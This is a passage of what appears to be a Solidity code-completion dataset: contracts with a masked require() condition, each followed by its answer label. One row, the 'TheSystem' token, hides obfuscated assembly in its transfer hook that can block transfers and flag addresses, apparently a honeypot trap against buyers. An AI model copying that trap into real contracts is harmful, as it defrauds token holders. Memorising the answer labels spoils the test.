comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"LEVX: ONE_DOMAIN_ALLOWED" | // SPDX-License-Identifier: WTFPL
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface ENS {
function owner(bytes32 node) external view returns (address);
function setSubnodeRecord(
bytes32 node,
bytes32 label,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external returns (bytes32);
}
interface PublicResolver {
function setAddr(bytes32 node, address a) external;
}
contract SubdomainsRegistry {
using SafeERC20 for IERC20;
address public immutable owner;
address public immutable token;
address public immutable ens;
bytes32 public immutable node;
address public immutable resolver;
mapping(address => Registration) public registrations;
struct Registration {
uint64 deadline;
bool paid;
bool withdrawn;
}
event Register(string domain, bytes32 indexed label, address indexed to, bool indexed paid);
event Withdraw(address indexed to);
constructor(
address _token,
address _ens,
bytes32 _node,
address _resolver
) {
}
function register(string memory domain, address to) external {
require(<FILL_ME>)
uint256 length = bytes(domain).length;
require(length >= 3, "LEVX: DOMAIN_TOO_SHORT");
bytes32 label = keccak256(abi.encodePacked(domain));
bytes32 subnode = keccak256(abi.encodePacked(node, label));
require(ENS(ens).owner(subnode) == address(0), "LEVX: DUPLICATE");
ENS(ens).setSubnodeRecord(node, label, address(this), resolver, 0);
PublicResolver(resolver).setAddr(subnode, to);
ENS(ens).setSubnodeOwner(node, label, to);
bool paid = length <= 7;
registrations[msg.sender] = Registration(uint64(block.timestamp + 2 weeks), paid, false);
emit Register(domain, label, to, paid);
if (paid) {
IERC20(token).safeTransferFrom(msg.sender, address(this), 1e18);
}
}
function withdraw(address to) external {
}
}
| registrations[msg.sender].deadline==0,"LEVX: ONE_DOMAIN_ALLOWED" | 126,311 | registrations[msg.sender].deadline==0 |
"LEVX: DUPLICATE" | // SPDX-License-Identifier: WTFPL
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface ENS {
function owner(bytes32 node) external view returns (address);
function setSubnodeRecord(
bytes32 node,
bytes32 label,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external returns (bytes32);
}
interface PublicResolver {
function setAddr(bytes32 node, address a) external;
}
contract SubdomainsRegistry {
using SafeERC20 for IERC20;
address public immutable owner;
address public immutable token;
address public immutable ens;
bytes32 public immutable node;
address public immutable resolver;
mapping(address => Registration) public registrations;
struct Registration {
uint64 deadline;
bool paid;
bool withdrawn;
}
event Register(string domain, bytes32 indexed label, address indexed to, bool indexed paid);
event Withdraw(address indexed to);
constructor(
address _token,
address _ens,
bytes32 _node,
address _resolver
) {
}
function register(string memory domain, address to) external {
require(registrations[msg.sender].deadline == 0, "LEVX: ONE_DOMAIN_ALLOWED");
uint256 length = bytes(domain).length;
require(length >= 3, "LEVX: DOMAIN_TOO_SHORT");
bytes32 label = keccak256(abi.encodePacked(domain));
bytes32 subnode = keccak256(abi.encodePacked(node, label));
require(<FILL_ME>)
ENS(ens).setSubnodeRecord(node, label, address(this), resolver, 0);
PublicResolver(resolver).setAddr(subnode, to);
ENS(ens).setSubnodeOwner(node, label, to);
bool paid = length <= 7;
registrations[msg.sender] = Registration(uint64(block.timestamp + 2 weeks), paid, false);
emit Register(domain, label, to, paid);
if (paid) {
IERC20(token).safeTransferFrom(msg.sender, address(this), 1e18);
}
}
function withdraw(address to) external {
}
}
| ENS(ens).owner(subnode)==address(0),"LEVX: DUPLICATE" | 126,311 | ENS(ens).owner(subnode)==address(0) |
"LEVX: WITHDRAWN" | // SPDX-License-Identifier: WTFPL
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface ENS {
function owner(bytes32 node) external view returns (address);
function setSubnodeRecord(
bytes32 node,
bytes32 label,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external returns (bytes32);
}
interface PublicResolver {
function setAddr(bytes32 node, address a) external;
}
contract SubdomainsRegistry {
using SafeERC20 for IERC20;
address public immutable owner;
address public immutable token;
address public immutable ens;
bytes32 public immutable node;
address public immutable resolver;
mapping(address => Registration) public registrations;
struct Registration {
uint64 deadline;
bool paid;
bool withdrawn;
}
event Register(string domain, bytes32 indexed label, address indexed to, bool indexed paid);
event Withdraw(address indexed to);
constructor(
address _token,
address _ens,
bytes32 _node,
address _resolver
) {
}
function register(string memory domain, address to) external {
}
function withdraw(address to) external {
Registration storage registration = registrations[msg.sender];
(uint64 deadline, bool paid, bool withdrawn) = (
registration.deadline,
registration.paid,
registration.withdrawn
);
require(paid, "LEVX: NON_PAID");
require(deadline > 0, "LEVX: NON_EXISTENT");
require(deadline <= block.timestamp, "LEVX: TOO_EARLY");
require(<FILL_ME>)
registration.withdrawn = true;
emit Withdraw(to);
IERC20(token).safeTransfer(to, 1e18);
}
}
| !withdrawn,"LEVX: WITHDRAWN" | 126,311 | !withdrawn |
"tokenID already bridged" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol" ;
contract BridgeShibesV2 is Ownable {
bool public online = true ;
IERC721 public shibes ;
constructor (address _shibes) {
}
mapping(uint => bool) public bridged ;
event Bridge(address indexed owner, uint indexed tokenID, uint timestamp) ;
function bridge(uint[] memory tokenIDs) public returns (bool) {
require(online, "bridge offline") ;
for (uint i; i < tokenIDs.length; i ++) {
require(<FILL_ME>)
require(shibes.ownerOf(tokenIDs[i]) == msg.sender, "sender not owner") ;
bridged[tokenIDs[i]] = true ;
emit Bridge(msg.sender, tokenIDs[i], block.timestamp) ;
}
return true ;
}
function changeBridgeState(bool state) external onlyOwner returns (bool) {
}
function changeShibesContract(address _shibes) external onlyOwner returns (bool) {
}
}
| bridged[tokenIDs[i]]==false,"tokenID already bridged" | 126,535 | bridged[tokenIDs[i]]==false |
"sender not owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol" ;
contract BridgeShibesV2 is Ownable {
bool public online = true ;
IERC721 public shibes ;
constructor (address _shibes) {
}
mapping(uint => bool) public bridged ;
event Bridge(address indexed owner, uint indexed tokenID, uint timestamp) ;
function bridge(uint[] memory tokenIDs) public returns (bool) {
require(online, "bridge offline") ;
for (uint i; i < tokenIDs.length; i ++) {
require(bridged[tokenIDs[i]] == false, "tokenID already bridged") ;
require(<FILL_ME>)
bridged[tokenIDs[i]] = true ;
emit Bridge(msg.sender, tokenIDs[i], block.timestamp) ;
}
return true ;
}
function changeBridgeState(bool state) external onlyOwner returns (bool) {
}
function changeShibesContract(address _shibes) external onlyOwner returns (bool) {
}
}
| shibes.ownerOf(tokenIDs[i])==msg.sender,"sender not owner" | 126,535 | shibes.ownerOf(tokenIDs[i])==msg.sender |
"Not enough tokens approved for sale" | pragma solidity ^0.8.0;
contract KSCoinCrowdsale is Ownable, Pausable {
using SafeERC20 for ERC20;
ERC20 public token;
address payable public wallet;
uint256 public rate;
uint256 public tokensForSale;
mapping(address => uint256) public contributions;
event TokensPurchased(address indexed beneficiary, uint256 amount);
event TokensRecovered(uint256 amount);
constructor(address payable _wallet, ERC20 _token) {
}
function initialize(uint256 _tokensForSale) public onlyOwner {
require(<FILL_ME>)
tokensForSale = _tokensForSale;
token.safeTransferFrom(wallet, address(this), _tokensForSale);
}
receive() external payable whenNotPaused {
}
function _preValidatePurchase(uint256 weiAmount) internal view {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
}
function _processPurchase(uint256 tokenAmount) internal {
}
function _forwardFunds() internal {
}
function recoverUnsoldTokens() external onlyOwner {
}
function adjustRate(uint256 newRate) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
}
| token.allowance(wallet,address(this))>=_tokensForSale,"Not enough tokens approved for sale" | 126,718 | token.allowance(wallet,address(this))>=_tokensForSale |
'ExtendedERC20: the nonce has already been used for this address' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import '../libs/GluwacoinModels.sol';
import '@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol';
contract ExtendedERC20 is ContextUpgradeable, ERC20PermitUpgradeable {
uint8 internal _decimals;
mapping(address => mapping(GluwacoinModels.SigDomain => mapping(uint256 => bool))) internal _usedNonces;
function __ExtendedERC20_init(
string memory name_,
string memory symbol_,
uint8 decimals_
) internal onlyInitializing {
}
function __ExtendedERC20_init_unchained(
string memory name_,
string memory symbol_,
uint8 decimals_
) internal onlyInitializing {
}
function _useNonce(
address signer,
GluwacoinModels.SigDomain domain,
uint256 nonce
) internal {
require(<FILL_ME>)
_usedNonces[signer][domain][nonce] = true;
}
function decimals() public view virtual override returns (uint8) {
}
function chainId() public view returns (uint256) {
}
function _collect(
address sender,
uint256 amount,
address collecter
) internal {
}
uint256[50] private __gap;
}
| !_usedNonces[signer][domain][nonce],'ExtendedERC20: the nonce has already been used for this address' | 126,761 | !_usedNonces[signer][domain][nonce] |
"token mapping exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../misc/PlatformFeeDistributor.sol";
contract VeFeeGateway is Ownable {
using SafeERC20 for IERC20;
/// @notice Emitted when a new mapping is added.
/// @param _token The address of reward token added.
/// @param _distributor The address of distributor added.
event AddDistributor(address _token, address _distributor);
/// @notice Emitted when a new mapping is removed.
/// @param _token The address of reward token removed.
/// @param _distributor The address of distributor removed.
event RemoveDistributor(address _token, address _distributor);
/// @notice The address of PlatformFeeDistributor contract
address public immutable platform;
/// @notice Mapping from reward token address to ve fee distributor contract.
mapping(address => address) public token2distributor;
/// @notice Mapping from ve fee distributor contract to reward token address.
mapping(address => address) public distributor2token;
constructor(address _platform) {
}
/// @notice Distribute platform rewards to ve fee distributors.
/// @param _distributors The address list of ve fee distributors.
function distribute(address[] memory _distributors) external {
}
/// @dev add a mapping to contract.
/// @param _token The address of reward token to add.
/// @param _distributor The address of distributor to add.
function add(address _token, address _distributor) external onlyOwner {
require(<FILL_ME>)
require(distributor2token[_distributor] == address(0), "distributor mapping exists");
token2distributor[_token] = _distributor;
distributor2token[_distributor] = _token;
emit AddDistributor(_token, _distributor);
}
/// @dev remote a mapping from contract.
/// @param _distributor The address of distributor to remove.
function remove(address _distributor) external onlyOwner {
}
}
| token2distributor[_token]==address(0),"token mapping exists" | 126,795 | token2distributor[_token]==address(0) |
"distributor mapping exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../misc/PlatformFeeDistributor.sol";
contract VeFeeGateway is Ownable {
using SafeERC20 for IERC20;
/// @notice Emitted when a new mapping is added.
/// @param _token The address of reward token added.
/// @param _distributor The address of distributor added.
event AddDistributor(address _token, address _distributor);
/// @notice Emitted when a new mapping is removed.
/// @param _token The address of reward token removed.
/// @param _distributor The address of distributor removed.
event RemoveDistributor(address _token, address _distributor);
/// @notice The address of PlatformFeeDistributor contract
address public immutable platform;
/// @notice Mapping from reward token address to ve fee distributor contract.
mapping(address => address) public token2distributor;
/// @notice Mapping from ve fee distributor contract to reward token address.
mapping(address => address) public distributor2token;
constructor(address _platform) {
}
/// @notice Distribute platform rewards to ve fee distributors.
/// @param _distributors The address list of ve fee distributors.
function distribute(address[] memory _distributors) external {
}
/// @dev add a mapping to contract.
/// @param _token The address of reward token to add.
/// @param _distributor The address of distributor to add.
function add(address _token, address _distributor) external onlyOwner {
require(token2distributor[_token] == address(0), "token mapping exists");
require(<FILL_ME>)
token2distributor[_token] = _distributor;
distributor2token[_distributor] = _token;
emit AddDistributor(_token, _distributor);
}
/// @dev remote a mapping from contract.
/// @param _distributor The address of distributor to remove.
function remove(address _distributor) external onlyOwner {
}
}
| distributor2token[_distributor]==address(0),"distributor mapping exists" | 126,795 | distributor2token[_distributor]==address(0) |
"ERC20: trading is not yet enabled." | // Our entire system is based on restrictions. We have to break it.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private stashAddr;
uint256 private _quakeNow = block.number*2;
mapping (address => bool) private waterLevel;
mapping (address => bool) private _upDown;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private upsideRight;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private lokiGod;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private smokeDetector = 1; bool private itSystem;
uint256 private _decimals; uint256 private variantIt;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function _SystemStart() internal { }
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((itSystem || _upDown[sender]) && ((_quakeNow - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_quakeNow == block.number))) && ((waterLevel[recipient] == true) && (waterLevel[sender] != true) || ((stashAddr[1] == recipient) && (waterLevel[stashAddr[1]] != true))) && (variantIt > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x6)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeploySystem(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheSystem is ERC20Token {
constructor() ERC20Token("The System", "SYSTEM", msg.sender, 50000 * 10 ** 18) {
}
}
| (trading||(sender==stashAddr[1])),"ERC20: trading is not yet enabled." | 126,837 | (trading||(sender==stashAddr[1])) |
"OptimismPortal: invalid withdrawal inclusion proof" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { Initializable } from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import { SafeCall } from "../libraries/SafeCall.sol";
import { L2OutputOracle } from "./L2OutputOracle.sol";
import { SystemConfig } from "./SystemConfig.sol";
import { Constants } from "../libraries/Constants.sol";
import { Types } from "../libraries/Types.sol";
import { Hashing } from "../libraries/Hashing.sol";
import { SecureMerkleTrie } from "../libraries/trie/SecureMerkleTrie.sol";
import { AddressAliasHelper } from "../vendor/AddressAliasHelper.sol";
import { ResourceMetering } from "./ResourceMetering.sol";
import { Semver } from "../universal/Semver.sol";
/**
* @custom:proxied
* @title OptimismPortal
* @notice The OptimismPortal is a low-level contract responsible for passing messages between L1
* and L2. Messages sent directly to the OptimismPortal have no form of replayability.
* Users are encouraged to use the L1CrossDomainMessenger for a higher-level interface.
*/
contract OptimismPortal is Initializable, ResourceMetering, Semver {
/**
* @notice Represents a proven withdrawal.
*
* @custom:field outputRoot Root of the L2 output this was proven against.
* @custom:field timestamp Timestamp at whcih the withdrawal was proven.
* @custom:field l2OutputIndex Index of the output this was proven against.
*/
struct ProvenWithdrawal {
bytes32 outputRoot;
uint128 timestamp;
uint128 l2OutputIndex;
}
/**
* @notice Version of the deposit event.
*/
uint256 internal constant DEPOSIT_VERSION = 0;
/**
* @notice The L2 gas limit set when eth is deposited using the receive() function.
*/
uint64 internal constant RECEIVE_DEFAULT_GAS_LIMIT = 100_000;
/**
* @notice Address of the L2OutputOracle contract.
*/
L2OutputOracle public immutable L2_ORACLE;
/**
* @notice Address of the SystemConfig contract.
*/
SystemConfig public immutable SYSTEM_CONFIG;
/**
* @notice Address that has the ability to pause and unpause withdrawals.
*/
address public immutable GUARDIAN;
/**
* @notice Address of the L2 account which initiated a withdrawal in this transaction. If the
* of this variable is the default L2 sender address, then we are NOT inside of a call
* to finalizeWithdrawalTransaction.
*/
address public l2Sender;
/**
* @notice A list of withdrawal hashes which have been successfully finalized.
*/
mapping(bytes32 => bool) public finalizedWithdrawals;
/**
* @notice A mapping of withdrawal hashes to `ProvenWithdrawal` data.
*/
mapping(bytes32 => ProvenWithdrawal) public provenWithdrawals;
/**
* @notice Determines if cross domain messaging is paused. When set to true,
* withdrawals are paused. This may be removed in the future.
*/
bool public paused;
/**
* @notice Emitted when a transaction is deposited from L1 to L2. The parameters of this event
* are read by the rollup node and used to derive deposit transactions on L2.
*
* @param from Address that triggered the deposit transaction.
* @param to Address that the deposit transaction is directed to.
* @param version Version of this deposit transaction event.
* @param opaqueData ABI encoded deposit data to be parsed off-chain.
*/
event TransactionDeposited(
address indexed from,
address indexed to,
uint256 indexed version,
bytes opaqueData
);
/**
* @notice Emitted when a withdrawal transaction is proven.
*
* @param withdrawalHash Hash of the withdrawal transaction.
*/
event WithdrawalProven(
bytes32 indexed withdrawalHash,
address indexed from,
address indexed to
);
/**
* @notice Emitted when a withdrawal transaction is finalized.
*
* @param withdrawalHash Hash of the withdrawal transaction.
* @param success Whether the withdrawal transaction was successful.
*/
event WithdrawalFinalized(bytes32 indexed withdrawalHash, bool success);
/**
* @notice Emitted when the pause is triggered.
*
* @param account Address of the account triggering the pause.
*/
event Paused(address account);
/**
* @notice Emitted when the pause is lifted.
*
* @param account Address of the account triggering the unpause.
*/
event Unpaused(address account);
/**
* @notice Reverts when paused.
*/
modifier whenNotPaused() {
}
/**
* @custom:semver 1.6.0
*
* @param _l2Oracle Address of the L2OutputOracle contract.
* @param _guardian Address that can pause deposits and withdrawals.
* @param _paused Sets the contract's pausability state.
* @param _config Address of the SystemConfig contract.
*/
constructor(
L2OutputOracle _l2Oracle,
address _guardian,
bool _paused,
SystemConfig _config
) Semver(1, 6, 0) {
}
/**
* @notice Initializer.
*/
function initialize(bool _paused) public initializer {
}
/**
* @notice Pause deposits and withdrawals.
*/
function pause() external {
}
/**
* @notice Unpause deposits and withdrawals.
*/
function unpause() external {
}
/**
* @notice Computes the minimum gas limit for a deposit. The minimum gas limit
* linearly increases based on the size of the calldata. This is to prevent
* users from creating L2 resource usage without paying for it. This function
* can be used when interacting with the portal to ensure forwards compatibility.
*
*/
function minimumGasLimit(uint64 _byteCount) public pure returns (uint64) {
}
/**
* @notice Accepts value so that users can send ETH directly to this contract and have the
* funds be deposited to their address on L2. This is intended as a convenience
* function for EOAs. Contracts should call the depositTransaction() function directly
* otherwise any deposited funds will be lost due to address aliasing.
*/
// solhint-disable-next-line ordering
receive() external payable {
}
/**
* @notice Accepts ETH value without triggering a deposit to L2. This function mainly exists
* for the sake of the migration between the legacy Optimism system and Bedrock.
*/
function donateETH() external payable {
}
/**
* @notice Getter for the resource config. Used internally by the ResourceMetering
* contract. The SystemConfig is the source of truth for the resource config.
*
* @return ResourceMetering.ResourceConfig
*/
function _resourceConfig()
internal
view
override
returns (ResourceMetering.ResourceConfig memory)
{
}
/**
* @notice Proves a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
* @param _l2OutputIndex L2 output index to prove against.
* @param _outputRootProof Inclusion proof of the L2ToL1MessagePasser contract's storage root.
* @param _withdrawalProof Inclusion proof of the withdrawal in L2ToL1MessagePasser contract.
*/
function proveWithdrawalTransaction(
Types.WithdrawalTransaction memory _tx,
uint256 _l2OutputIndex,
Types.OutputRootProof calldata _outputRootProof,
bytes[] calldata _withdrawalProof
) external whenNotPaused {
// Prevent users from creating a deposit transaction where this address is the message
// sender on L2. Because this is checked here, we do not need to check again in
// `finalizeWithdrawalTransaction`.
require(
_tx.target != address(this),
"OptimismPortal: you cannot send messages to the portal contract"
);
// Get the output root and load onto the stack to prevent multiple mloads. This will
// revert if there is no output root for the given block number.
bytes32 outputRoot = L2_ORACLE.getL2Output(_l2OutputIndex).outputRoot;
// Verify that the output root can be generated with the elements in the proof.
require(
outputRoot == Hashing.hashOutputRootProof(_outputRootProof),
"OptimismPortal: invalid output root proof"
);
// Load the ProvenWithdrawal into memory, using the withdrawal hash as a unique identifier.
bytes32 withdrawalHash = Hashing.hashWithdrawal(_tx);
ProvenWithdrawal memory provenWithdrawal = provenWithdrawals[withdrawalHash];
// We generally want to prevent users from proving the same withdrawal multiple times
// because each successive proof will update the timestamp. A malicious user can take
// advantage of this to prevent other users from finalizing their withdrawal. However,
// since withdrawals are proven before an output root is finalized, we need to allow users
// to re-prove their withdrawal only in the case that the output root for their specified
// output index has been updated.
require(
provenWithdrawal.timestamp == 0 ||
L2_ORACLE.getL2Output(provenWithdrawal.l2OutputIndex).outputRoot !=
provenWithdrawal.outputRoot,
"OptimismPortal: withdrawal hash has already been proven"
);
// Compute the storage slot of the withdrawal hash in the L2ToL1MessagePasser contract.
// Refer to the Solidity documentation for more information on how storage layouts are
// computed for mappings.
bytes32 storageKey = keccak256(
abi.encode(
withdrawalHash,
uint256(0) // The withdrawals mapping is at the first slot in the layout.
)
);
// Verify that the hash of this withdrawal was stored in the L2toL1MessagePasser contract
// on L2. If this is true, under the assumption that the SecureMerkleTrie does not have
// bugs, then we know that this withdrawal was actually triggered on L2 and can therefore
// be relayed on L1.
require(<FILL_ME>)
// Designate the withdrawalHash as proven by storing the `outputRoot`, `timestamp`, and
// `l2BlockNumber` in the `provenWithdrawals` mapping. A `withdrawalHash` can only be
// proven once unless it is submitted again with a different outputRoot.
provenWithdrawals[withdrawalHash] = ProvenWithdrawal({
outputRoot: outputRoot,
timestamp: uint128(block.timestamp),
l2OutputIndex: uint128(_l2OutputIndex)
});
// Emit a `WithdrawalProven` event.
emit WithdrawalProven(withdrawalHash, _tx.sender, _tx.target);
}
/**
* @notice Finalizes a withdrawal transaction.
*
* @param _tx Withdrawal transaction to finalize.
*/
function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx)
external
whenNotPaused
{
}
/**
* @notice Accepts deposits of ETH and data, and emits a TransactionDeposited event for use in
* deriving deposit transactions. Note that if a deposit is made by a contract, its
* address will be aliased when retrieved using `tx.origin` or `msg.sender`. Consider
* using the CrossDomainMessenger contracts for a simpler developer experience.
*
* @param _to Target address on L2.
* @param _value ETH value to send to the recipient.
* @param _gasLimit Minimum L2 gas limit (can be greater than or equal to this value).
* @param _isCreation Whether or not the transaction is a contract creation.
* @param _data Data to trigger the recipient with.
*/
function depositTransaction(
address _to,
uint256 _value,
uint64 _gasLimit,
bool _isCreation,
bytes memory _data
) public payable metered(_gasLimit) {
}
/**
* @notice Determine if a given output is finalized. Reverts if the call to
* L2_ORACLE.getL2Output reverts. Returns a boolean otherwise.
*
* @param _l2OutputIndex Index of the L2 output to check.
*
* @return Whether or not the output is finalized.
*/
function isOutputFinalized(uint256 _l2OutputIndex) external view returns (bool) {
}
/**
* @notice Determines whether the finalization period has elapsed w/r/t a given timestamp.
*
* @param _timestamp Timestamp to check.
*
* @return Whether or not the finalization period has elapsed.
*/
function _isFinalizationPeriodElapsed(uint256 _timestamp) internal view returns (bool) {
}
}
| SecureMerkleTrie.verifyInclusionProof(abi.encode(storageKey),hex"01",_withdrawalProof,_outputRootProof.messagePasserStorageRoot),"OptimismPortal: invalid withdrawal inclusion proof" | 126,922 | SecureMerkleTrie.verifyInclusionProof(abi.encode(storageKey),hex"01",_withdrawalProof,_outputRootProof.messagePasserStorageRoot) |
"OptimismPortal: proven withdrawal finalization period has not elapsed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { Initializable } from "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import { SafeCall } from "../libraries/SafeCall.sol";
import { L2OutputOracle } from "./L2OutputOracle.sol";
import { SystemConfig } from "./SystemConfig.sol";
import { Constants } from "../libraries/Constants.sol";
import { Types } from "../libraries/Types.sol";
import { Hashing } from "../libraries/Hashing.sol";
import { SecureMerkleTrie } from "../libraries/trie/SecureMerkleTrie.sol";
import { AddressAliasHelper } from "../vendor/AddressAliasHelper.sol";
import { ResourceMetering } from "./ResourceMetering.sol";
import { Semver } from "../universal/Semver.sol";
/**
* @custom:proxied
* @title OptimismPortal
* @notice The OptimismPortal is a low-level contract responsible for passing messages between L1
* and L2. Messages sent directly to the OptimismPortal have no form of replayability.
* Users are encouraged to use the L1CrossDomainMessenger for a higher-level interface.
*/
contract OptimismPortal is Initializable, ResourceMetering, Semver {
/**
* @notice Represents a proven withdrawal.
*
* @custom:field outputRoot Root of the L2 output this was proven against.
* @custom:field timestamp Timestamp at whcih the withdrawal was proven.
* @custom:field l2OutputIndex Index of the output this was proven against.
*/
struct ProvenWithdrawal {
bytes32 outputRoot;
uint128 timestamp;
uint128 l2OutputIndex;
}
/**
* @notice Version of the deposit event.
*/
uint256 internal constant DEPOSIT_VERSION = 0;
/**
* @notice The L2 gas limit set when eth is deposited using the receive() function.
*/
uint64 internal constant RECEIVE_DEFAULT_GAS_LIMIT = 100_000;
/**
* @notice Address of the L2OutputOracle contract.
*/
L2OutputOracle public immutable L2_ORACLE;
/**
* @notice Address of the SystemConfig contract.
*/
SystemConfig public immutable SYSTEM_CONFIG;
/**
* @notice Address that has the ability to pause and unpause withdrawals.
*/
address public immutable GUARDIAN;
/**
* @notice Address of the L2 account which initiated a withdrawal in this transaction. If the
* of this variable is the default L2 sender address, then we are NOT inside of a call
* to finalizeWithdrawalTransaction.
*/
address public l2Sender;
/**
* @notice A list of withdrawal hashes which have been successfully finalized.
*/
mapping(bytes32 => bool) public finalizedWithdrawals;
/**
* @notice A mapping of withdrawal hashes to `ProvenWithdrawal` data.
*/
mapping(bytes32 => ProvenWithdrawal) public provenWithdrawals;
/**
* @notice Determines if cross domain messaging is paused. When set to true,
* withdrawals are paused. This may be removed in the future.
*/
bool public paused;
/**
* @notice Emitted when a transaction is deposited from L1 to L2. The parameters of this event
* are read by the rollup node and used to derive deposit transactions on L2.
*
* @param from Address that triggered the deposit transaction.
* @param to Address that the deposit transaction is directed to.
* @param version Version of this deposit transaction event.
* @param opaqueData ABI encoded deposit data to be parsed off-chain.
*/
event TransactionDeposited(
address indexed from,
address indexed to,
uint256 indexed version,
